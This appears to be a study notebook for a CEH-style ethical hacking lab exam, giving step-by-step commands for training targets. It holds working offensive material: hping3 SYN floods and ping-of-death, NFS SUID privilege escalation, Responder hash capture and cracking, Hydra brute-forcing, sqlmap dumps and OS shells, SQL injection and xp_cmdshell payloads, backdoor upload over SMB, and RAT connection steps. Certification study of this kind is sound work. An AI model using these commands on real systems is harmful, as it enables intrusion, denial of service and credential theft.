Notes/Exercises

Type of Exercises

Nmap

Identify all active hosts in a network

```
nmap -sP <target_IP>/Subnet
```

Do a Stelth Scan, Invading firewall, IDS/IPS

```
nmap -sS -p 80, 443 <target_IP>/Subnet
```

Identify the OS of the machine hosting a DB

To check target with open DB port (3306 or 1433): `nmap -sV IP/subnet` or `nmap -A IP/subnet` or `nmap -p3306,1433 IP/subnet` and check relative info about OS.

Locate IP address of the machine with RDP open port

```
nmap -Pn -p -sV 3389 <target_IP>
```

prim

Find FQDN of domain controller

FQDN (**FQDN = Hostname + Domain**) an example can be: mail.example.com mail (hostname), example.com (domain).

Scan subnet or target filtering for LDAP port (389):

- `nmap -p389 -sV -iL <target_list>` -> if we've more targets IP

or

- `nmap -p389 -sV <target_IP>`

or

- `nmap -p 389 --script ldap-rootdse <target_IP>`

If LDAP port is filtered or closed, we should try to scan host using following parameters:

- `nmap -Pn -A <target_IP>`

In alternative we can find following ports opened: 88 (Kerberos), 636 (LDAPS), 3268 (LDAP Global).

Running nmap command we'll retrieve info about Domain and Host name:

- Domain: pentester.team Service Info: Host: DC;
- then FQDN = DC.pentester.team

Identify the number of hosts that are alive

to checks hosts up: `nmap -sn IP/Subnet`

Identify potential vulnerabilities of services

- `nmap -Pn --script vuln <target_IP>`

Perform vertical privilege escalation of a root user, and enter the flag

Exploiting misconfigured NFS (port 2049)

- `nmap -sV –p 2049 IP/Subnet`
- `sudo apt-get install nfs-common`
- `nmap -sV –script=nfs-showmount <Target_IP>`
- check available mounts: `showmount -e <Target_IP>` -> we will see /home directory
- `mkdir /tmp/nfs`
- `sudo mount -t nfs 10.10.1.9:/home /tmp/nfs`
- `cd /tmp/nfs`
- `sudo cp /bin/bash .`
- `sudo chmod +s bash` -> it will be highlighted in red
- `ls -la`
- `sudo df -h`
- `sudo chmod +s bash`

after them, In another terminal:

- Access to target using SSH
- `./bash -p` and we're root!
- `cd /home`
- `ls -la`
- Find the flag: `find / -name "*.txt" -ls 2> /dev/null`

WireShark

Which machine started DOS attack? DDOS attack happened on which IP? Find out http crediantls from PCAP file?

To find DOS (SYN and ACK) :

- statistic -> IPv4 statistics -> source and destination address
- filter using: `tcp.flags.syn == 1` or `tcp.flags.syn == 1 and tcp.flags.ack == 0` or filter to highest number of request

Analyze the pcap file and determine the number of machines that were involved in DDOS attack

- statistic -> IPv4 statistic -> source and destination address

Or

- View Flood attack on victim via Wireshark | use filter tcp.port=21

Or

Find the dos attacker ip using Wireshark

Statistic -> conversion

identified ip , which has flooding server with SYN request.

Or

get the statistics of ipv4 -> we can see that Packets B -> A are null, because the're not reply pack.

To find passwords :

`http.request.method == POST`
To find DOS -> Look for Red and Black packets with around 1-2 simple packets in between and then pick any packet and check the Source and Destination IP with port if need.

SYN DDOS Attack using Hping

`hping3 -S 1.1.1.6 -a 1.1.1.3 -p 22 --flood`
1.1.1.6 is target IP

1.1.1.3 is the spoof IP

22 is port number.

POD - Ping of Death Attack

`hping3 -d 65538 -S -p 21 --flood 1.1.1.6`
-d is data size

-S is syn packets

-p is port (you can flood any app with open ports.

UDP Flood attack

`hping3 -2 -p 139 --flood 1.1.1.6`
-2 is for UDP

-p is port

Identify IoT Message and its Length using capture.cap

- Filter .cap file on wireshark with 'MQTT' filter
- Select packet related to Publish Message
- Click on MQ Telemetry Transport Protocol -> Header Flags -> Message Msg Len

or

- Click on MQ Telemetry Transport Protocol -> Publish Message -> Msg Len

BCTextEncoder

Decrypt the encoded secret and enter the decrpted text as the answer

Use BCTextEncoder to decrypt the encoded secret file, psw can be the same of SMB login

{% content-ref url="../tools/bctextencoder.md" %} bctextencoder.md {% endcontent-ref %}

LLMNR Poisoning NTML Hash cracking

Responder: `responder -I eth0 -rdwv`
Copy the hash from responder to ntlmhash.txt

and crack it using Hashcat or John

Hashcat

- `hashcat -m 0 -a 0 hash.txt passwordlist.txt -m 0`
- `hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt`

MD5 hash mode -a 0:

Dictionary attack mode hash.txt txt file containing hash in a compliant format passwordlist.txt: dictionary file containing passwords in plain text

John the Ripper

- `john –format-raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`
- `john /usr/share/responder/logs/SMB-NTLMv2-SSP-1.1.15.txt`

Hydra

Crack the FTP credentials to obtain file stored into FTP server an enter the content as the answer

- Find IP with FTP open port: nmap -p 21 IP/Subnet
- if we know username: `hydra -l user -P passlist.txt ftp://IP`
- if we don't know username and psw: `hydra -L /user.txt -P password.txt ftp://IP` or `hydra -L /home/attacker/Desktop/CEH_TOOLS/Wordlists/Username.txt -P /home/attacker/Desktop/CEH_TOOLS/Wordlists/Password.txt ftp://IP`
- Login using FTP credentials obtained, get flag and cat it.

{% content-ref url="../tools/hydra.md" %} hydra.md {% endcontent-ref %}

Crack the SMB credentials knowing username to obtain file stored into share

Brute force smb login

```
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt <TARGET_IP> smb
```

Download file stored into share

```
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --download 'C$\flag.txt'
```

Entropy

Perform deep scan on the elf files and obtain the last 4 digits of SHA 384 hash of the file with highest entropy value locate into android folder

- Scan adb port: `nmap ip -sV -p 5555`
- Connect adb: `adb connect IP:5555`
- Access mobile device: `adb shell`
- Elevate privilege using: `sudo -i` (if it is possile)
- `pwd` --> `ls` --> `cd sdcard/Notifications/Scan` --> `ls` --> `cat secret.txt` (If you can't find, check in others folders)
- Download files: `adb pull /sdcard/Notifications/Scan` **Do it in another shell, without adb connection!**
- We've three elf files, now we need to calcolate entropy for each of them using this command: `ent file.elf`
- After selecting file.elf with highest entropy, we need to calculate hash of SHA 384: `sha384sum file.elf` and consider only the last 4 digits of the hash result.

FTP

To download resources from FTP service we can use following commands:

```
ftp <target_IP> #connect to FTP service
# if you've not credentials, first try anonymous login writing as user:
anonymous and leave blank psw, or brute force credentials using hydra (see
section).
Prompt OFF #deactive prompt mode
binary #active binary mode
mget * #dump all file
bye #exit
```

GoBuster

```
gobuster dir -u http://IP:Port -w wordlist.txt
```

SQLMap

Finding vulnerable site

- site:http://testphp.vulnweb.com/ php?=

(for cookies- console->document.cookie)

{% hint style="info" %} Have cookie value is better, because reduce time to elaborate results! {% endhint %}

- `sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs (databases)`
- `sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart –tables (tables)`
- `sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns (columns)`

Dump whole table

- `sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --dump`

OR

(dump individual column data)

- `sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump`
- `sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump`
- `sqlmap -u "http://vmw.moviescope.com/viewprofile.aspx?id=l" –dbs [ Copy the cookie from website, mysql -U qdpmadmin -h 192.168.1.8 -P passwod [ If you have logins credentioals I`
- `sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" --dbs`
- Get list of tables -> `sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" -D mysql --tables`
- Dump data from tables -> `sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" -D mysql -T db --dump`
- Get OS shell -> `sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" --os-shell`

{% content-ref url="../tools/sqlmap.md" %} sqlmap.md {% endcontent-ref %}

Perform an SQL injection attack on web application and retrieve psw of user Mario (you just know these credentials maria:ferrari10)

- If we just know crediantials (how our case) login, otherwise we need to bypass login putting into username box: `user' OR 1=1 --` and into psw a random text
- Click on view profile (../viewprofile.aspx?id=1). There, we can use IDOR vulnerability (manipulating =id value) and seeing info regarding another user. In alternative we can use SQLMap to dump user info.

Snow

- `snow.exe -C -p “password” stegfile.txt`

OpenStego

Analyze the image file and extract the sensitive data hidden in the file

- Download OpenStego for Windows OS -> https://github.com/syvaidya/openstego/releases/download/openstego-0.8.6/Setup-OpenStego-0.8.6.exe
- Run OpenStego
- Select Extract Data
- Upload file and select path of destination
- Insert how psw a potential keyword present into question
- Click to Extract Data

CrypTool

Can you decrypt the file and provide the contents of "flag1.txt" as the answer?

- Connect to ftp using cmd: `ftp IP`
- After connect with FTP go to the file and download them using get or mget commands: `get file.txt get file1.txt`
- Decrypt file: open CrypTool program -> Encrypt/Decrypt -> Symmetric (modern) -> DES (ECB)

WPSCAN

Identify psw associated with the User ID "sarah" and resolve the issue to allow her to access her account again.

- `wpscan --url http://192.168.1.10:8080/CEH -u sarah -P passwdlist.txt`

or

```
msfconsole -q
use auxiliary/scanner/http/wordpress_login_enum
show options
set PASS_FILE /home/attacker/Desktop/Wordlist/password.txt
set RHOSTS <Target_IP>
set RPORT 8080
set TARGETURI http://10.10.10.10:8080/
set USERNAME admin
```

Hashes.com

Decrypt/Crack the MD5 hash present into a website

A file called "Secrethash.txt" has been uploaded via DVWA at http://192.168.1.10:8080/DVWA. The file is located at the following path: C:\wamp64\www\DVWA\hackable\uploads\Secret-Hash.txt. Your task is to crack the MD5 hash present in the file and reveal the original message. You can access the file by logging into DVWA using the provided credentials: superuser::superman.

- Got to the site, login, go to the url uploads/Secret-hash.txt
- Decrypt file using this web tool: https://hashes.com/en/decrypt/hash

RDP

Connect to RDP port

```
xfreerdp /v:<Target_IP> /u:Administrator
```

Find secret number hidden inside the file located in a directory (accessible using RDP)

A file named "Secret.txt" that has been concealed within the Server 2019 machine is located at the following path: C:\Users\Dell\Documents\Confidential.

You will need to use a backdoor installed in the server to access the file. (it's a fake news)

Your objective is to find the secret number hidden inside the file and provide it as your answer.

- User credentials of RDP you find in the previous answer (of rdp) to login.
- Browse to the mentioned path C:\Users\Dell\Documents\Confidential
- Open "Secret.txt" file and copy the number inside.

Find suspicious account? You've a credential of one user, you can use RDP to log in e found suspicious account (port 3389).

- Opening cmd and use: `net user` command.

Check phone number of Maria

A site has SQLi vulnerability, the cookie information is stored in a text file in the Documents folder of the EH-2 machine. Use the SQL DSSS attack method to capture the session link. Determine the contact number of Maria associated twith a website.

- We bypass auth, then use IDOR to find Maria's number

Netbios

If you get any questions related to netbios, SMB use metasploit.

SMB

Nmap

```
sudo nmap -p 445 -sV -sC -O <TARGET_IP>
nmap -sU --top-ports 25 --open <TARGET_IP>

nmap -p 445 --script smb-protocols <TARGET_IP>
nmap -p 445 --script smb-security-mode <TARGET_IP>

nmap -p 445 --script smb-enum-sessions <TARGET_IP>
nmap -p 445 --script smb-enum-sessions --script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-shares <TARGET_IP>
nmap -p 445 --script smb-enum-shares --script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-users --script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-server-stats --script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-domains--script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-groups--script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-services --script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-shares,smb-ls --script-args
smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-os-discovery <TARGET_IP>

nmap -p445 --script=smb-vuln-* <TARGET_IP>
```

SMBMap

```
smbmap -u guest -p "" -d . -H <TARGET_IP>
```

```
smbmap -u <USER> -p '<PW>' -d . -H <TARGET_IP>

## Run a command
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -x 'ipconfig'
## List all drives
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -L
## List dir content
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -r 'C$'
## Upload a file
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --upload '/root/sample_backdoor'
'C$\sample_backdoor'
## Download a file
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --download 'C$\flag.txt'
```

SMB - Hydra

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt <TARGET_IP> smb
```

SMB - Metasploit

```
# METASPLOIT Starting
msfconsole
msfconsole -q

# METASPLOIT SMB
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/smb/pipe_auditor

## set options depends on the selected module
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser <USER>
set RHOSTS <TARGET_IP>
exploit
```

SMB Connection

```
smbclient -L <TARGET_IP> -N
smbclient -L <TARGET_IP> -U <USER>
smbclient //<TARGET_IP>/<USER> -U <USER>
smbclient //<TARGET_IP>/admin -U admin
smbclient //<TARGET_IP>/public -N #NULL Session
## SMBCLIENT
smbclient //<TARGET_IP>/share_name
help
ls
get <filename>
```

Malware Analysis

Identify malware entry point address

PEiD (suggested)

- Download PEiF tool -> https://softfamous.com/peid/
- Execute PEiD tool
- Upload malware executable
- See entry point address

PEView

- Download PEView tool
- Execute tool
- Upload malware executable
- Look for the "Optional Header" section within the PEView interface. In this section, you should find the "AddressOfEntryPoint" field, which represents the entry point of the executable. Note the hexadecimal value displayed in the "AddressOfEntryPoint" field. This is the entry point address of the executable.

Detect it easy

- Execute Detect it easy client tool
- Upload malware executable
- Click to File info
- See entry point address

or we can use: **PE Explorer** tools

Retrieve file connecting to RAT installed into victim machine

- Theef default port: 9871, 6703, FTP 2968
- NJRAT default port: 5552
- MoSucker default port: 200005
- ProRat default port: 5110

ProRat

- Execute ProRat
- Set victim IP and relative port 5110
- Click to connect and search files.

Theef

- Execute Theef
- Set victim IP and relative ports to 6703 and 2968 (or custom port)
- Click to connect and open file manger.

NjRat

- Execute NjRat
- Insert IP and Port
- Click on manager and open directory

{% content-ref url="../main-contents/7-malware.md" %} 7-malware.md {% endcontent-ref %}

Aircrack-ng

Crack the wireless encryption and identify the Wi-Fi password

1st tentative: `aircrack-ng pcapfile` (usually works only for WEP encryption)
2nd tentative: `aircrack-ng -w passwordlist pcapfile`
3rd tentative: adding BSSID (-b flag): `aircrack-ng -b BSSID -w passwordlist pcapfile` (To find BSSID: on Wireshark click on packet, search BSSID and copy value)

Veracrypt

Access the Veracrypt volume, and find the secret code

- Decrypt password needed to access to volume
- Access to encrypted Drive (C:) using password decrypted into Veracrypt
- Find secret code file stored into C Drive.

Download file from FTP

- `wget -m ftp://anonymous:anonymous@<ip>`
- `wget -m --no-passive ftp://anonymous:anonymous@<ip>`

Basic Windows cmd

- net user -> For Domain Users Enumeration
- type C:\path.txt -> It displays the content of the path.txt file.
- dir
- cd
- hostname
- whoami

- pwd

Basic Linux cmd

- ls - view contents of directory (list)
- pwd - path of the current directory
- cd - change directoryn
- mkdir - make new directory
- mv - move files / rename files
- cp - copy files
- rm - remove files
- touch - create blank new file
- rmdir - delete directory
- cat - list content of file to terminal
- clear - clear terminal window
- echo - move data into a file
- less - Read text file one screen at a time
- man - show manual of Linux commands
- sudo - enables you to perform tasks that require administrative or root permissions
- top - task manager in terminal
- tar - used to archive multiple files into a tarball
- grep - used to searching words in specific files
- head - view first lines of any text file
- tail - view last lines of any text file
- diff - compares the contents of two files line by line
- kill - used for killing unresponsive program
- jobs - display all current jobs along with their statuses
- sort - is a command line utility for sorting lines of text files
- df - info about system disk
- du - check how much space a file or directory takes
- zip - to compress your files into a zip archive
- unzip - to extract the zipped files from a zip archive
- ssh - a secure encrypted connection between two hosts over and insecure network
- cal - shows calendar
- apt - command line tool for interaction with packaging system
- alias - custom shortcuts used to represent a command
- w - current user info
- whereis - used to locate the binary, source, manual page files
- whatis - used to get one-line man page description

- useradd - used to create a new user
- passwd - used to changing password of current user
- whoami - print current user
- uptime - print current time when machine starts
- free - print free disk space info
- history - print used commands history
- uname - print detailed information about your Linux system
- ping - to check connectivity status to a server
- chmod - to change permissions of files and directories
- chown - to change ownership of files and directories
- find - using find searches for files and directories
- locate - used to locate a file, just like the search command in Windows
- ifconfig - print ip address stuff
- ip a - similar to ifconfig but shortest print
- finger - gives you a short dump of info about a user

Find command

Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.

Below are some useful examples for the “find” command.

Find files:

- `find / -type f -iname "flag1.txt" 2>/dev/null`: find the file named "flag1.txt" case insensitive under / and not showing output errors
- `find . -name flag1.txt`: find the file named “flag1.txt” in the current directory
- `find /home -name flag1.txt`: find the file names “flag1.txt” in the /home directory
- `find / -type d -name config`: find the directory named config under “/”
- `find / -type f -perm 0777`: find files with the 777 permissions (files readable, writable, and executable by all users)
- `find / -perm a=x`: find executable files
- `find /home -user frank`: find all files for user “frank” under “/home”
- `find / -mtime 10`: find files that were modified in the last 10 days
- `find / -atime 10`: find files that were accessed in the last 10 day
- `find / -cmin -60`: find files changed within the last hour (60 minutes)
- `find / -amin -60`: find files accesses within the last hour (60 minutes)
- `find / -size 50M`: find files with a 50 MB size

This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.

The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output.

Folders and files that can be written to or executed from:

- `find / -writable -type d 2>/dev/null` : Find world-writeable folders
- `find / -perm -222 -type d 2>/dev/null`: Find world-writeable folders
- `find / -perm -o w -type d 2>/dev/null`: Find world-writeable folders

The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.

- `find / -perm -o x -type d 2>/dev/null` : Find world-executable folders

Find development tools and supported languages:

- `find / -name perl*`
- `find / -name python*`
- `find / -name gcc*`

Find specific file permissions:

Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it.

This allows for an interesting privilege escalation path,we will see in more details on task 6.

The example below is given to complete the subject on the “find” command.

- `find / -perm -u=s -type f 2>/dev/null`: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.

Alternative in Windows OS

```
search -f flag.txt
```

Others resources

```
>>>Module 02 : Enumeration
```

```
-----------------------------------------------------
ping www.moviescope.com –f –l 1500 -> Frame size
tracert www.moviescope.com -> Determining hop count

-----------------------------------------------------
>>Enumeration using Metasploit :
-----------------------------------------------------
msfdb init
service postgresql start
msfconsole
msf > db_status
nmap -Pn -sS -A -oX Test 10.10.10.0/24
db_import Test
hosts -> To show all available hosts in the subnet
db_nmap -sS -A 10.10.10.16 -> To extract services of particular machine
services -> to get all available services in a subnet

-----------------------------------------------------
>>SMB Version Enumeration using MSF
-----------------------------------------------------
use scanner/smb/smb_version
set RHOSTS 10.10.10.8-16
set THREADS 100
run
hosts -> now exact os_flavor information has been updated

-----------------------------------------------------
>>Module 03 : Scanning Networks
-----------------------------------------------------
Port Scanning using Hping3:
hping3 --scan 1-3000 -S 10.10.10.10
--scan parameter defines the port range to scan and –S represents SYN flag.

Pinging the target using HPing3:
hping3 -c 3 10.10.10.10
-c 3 means that we only want to send three packets to the target machine.

UDP Packet Crafting
hping3 10.10.10.10 --udp --rand-source --data 500

TCP SYN request
hping3 -S 10.10.10.10 -p 80 -c 5-S will perform TCP SYN request on the
target machine, -p will pass the traffic through which port is assigned,
and -c is the count of the packets sent to the Target machine.

HPing flood
hping3 10.10.10.10 --flood

-----------------------------------------------------
>>>Module 04 : Enumeration
-----------------------------------------------------

>>SNMP Enumeration
nmap –sU –p 161 10.10.10.12
nmap -sU -p 161 --script=snmp-brute 10.10.10.12
msfconsole
use auxiliary/scanner/snmp/snmp_login
set RHOSTS and exploit
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS and exploit
```

```
snmp-check <IP address>
-------------------------------------------------------
>>NetBIOS Enumeration (139) :
-------------------------------------------------------
nbtstat –A 10.10.10.16
net use
net use \10.10.10.16\e “”\user:””
net use \10.10.10.16\e “”/user:””
NetBIOS Enumerator

-------------------------------------------------------
>>Enum4Linux Wins Enumeration :
-------------------------------------------------------

enum4linux -u martin -p apple -U 10.10.10.12 -> Users Enumeration
enum4linux -u martin -p apple -o 10.10.10.12 -> OS Enumeration
enum4linux -u martin -p apple -P 10.10.10.12 -> Password Policy Information
enum4linux -u martin -p apple -G 10.10.10.12 -> Groups Information
enum4linux -u martin -p apple -S 10.10.10.12 -> Share Policy Information
(SMB Shares Enumeration)

-------------------------------------------------------
>>Active Directory LDAP Enumeration : ADExplorer
-------------------------------------------------------

-------------------------------------------------------
>>Module 05 : Vulnerability Analysis
-------------------------------------------------------
nikto -h http://www.goodshopping.com -Tuning 1
Nessus runs on  https://localhost:8834Username: admin Password: password
Nessus -> Policies > Advanced scan
Discovery > Host Discovery > Turn off Ping the remote host
Port Scanning > check the Verify open TCP ports found by local port
enumerators
AdvancedMax number of TCP sessions per host and = unlimitedMax number of
TCP sessions per scan = unlimited
Credentials > Windows > Username & Password
Save policy > Create new scan > User Defined
Enter name & Target
Schedule tab > Turn of Enabled
Hit launch from drop-down of save.

-------------------------------------------------------
>>>>Module 06 : System Hacking
-------------------------------------------------------
>>NTLM Hash crack :
responder -I eth0
usr\share\responder\logs --> Responder log location
john /usr/share/responder/logs/ntlm.txt


>>Rainbowtable crack using Winrtgen :

Open winrtgen and add new table
Select ntlm from Hash dropdown list.
Set Min Len as 4, Max Len as 6 and Chain Count 4000000
Select loweralpha from Charset dropdown list (it depends upon Password).
rcrack_gui.exe to crack hash with rainbow table

>>Hash dump with Pwdump7 and crack with ohpcrack :
```

```
wmic useraccount get name,sid --> Get user acc names and SID
PwDump7.exe > c:\hashes.txt
Replace boxes in hashes.txt with relevant usernames from step 1.
Ophcrack.exe -> load -> PWDUMP File
Tables -> Vista free -> select the table directory -> crack

-----------------------------------------------------
>>Module 08 : Sniffing
-----------------------------------------------------

http.request.method == “POST” -> Wireshark filter for filtering HTTP POST
request
Capture traffic from remote interface via wireshark
Capture > Options > Manage Interfaces
Remote Interface > Add > Host &  Port (2002)
Username & password > Start

-----------------------------------------------------
>>>Module 13 : Hacking Web Servers
-----------------------------------------------------
FTP Bruteforce with Hydra
hydra -L /root/Desktop/Wordlists/Usernames.txt -P
/root/Desktop/Wordlists/Passwords.txt ftp://10.10.10.11

>>Module 14 : Hacking Web Applications

Wordpress
wpscan --url http://10.10.10.12:8080/CEH --enumerate u

(--api-token <API Token>)

WP password bruteforce
msfconsoleuse auxiliary/scanner/http/wordpress_login_enum

RCE
ping 127.0.0.1 | hostname | net user

-----------------------------------------------------
>>>>Module 15 : SQL Injection
-----------------------------------------------------
SQLMAP Extract DBS
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --
cookie="xookies xxx" --dbs

Extract Tables
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --
cookie="cookies xxx" -D moviescope --tables

Extract Columns
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --
cookie="cookies xxx" -D moviescope -T User_Login --columns

Dump Data
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --
cookie="cookies xxx" -D moviescope -T User_Login --dump

OS Shell to execute commands
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --
cookie="cookies xxx" --os-shell
```

```
Login bypass
blah' or 1=1 --

Insert data into DB from login
blah';insert into login values ('john','apple123');

Create database from login
blah';create database mydatabase;

Execute cmd from login
blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --
```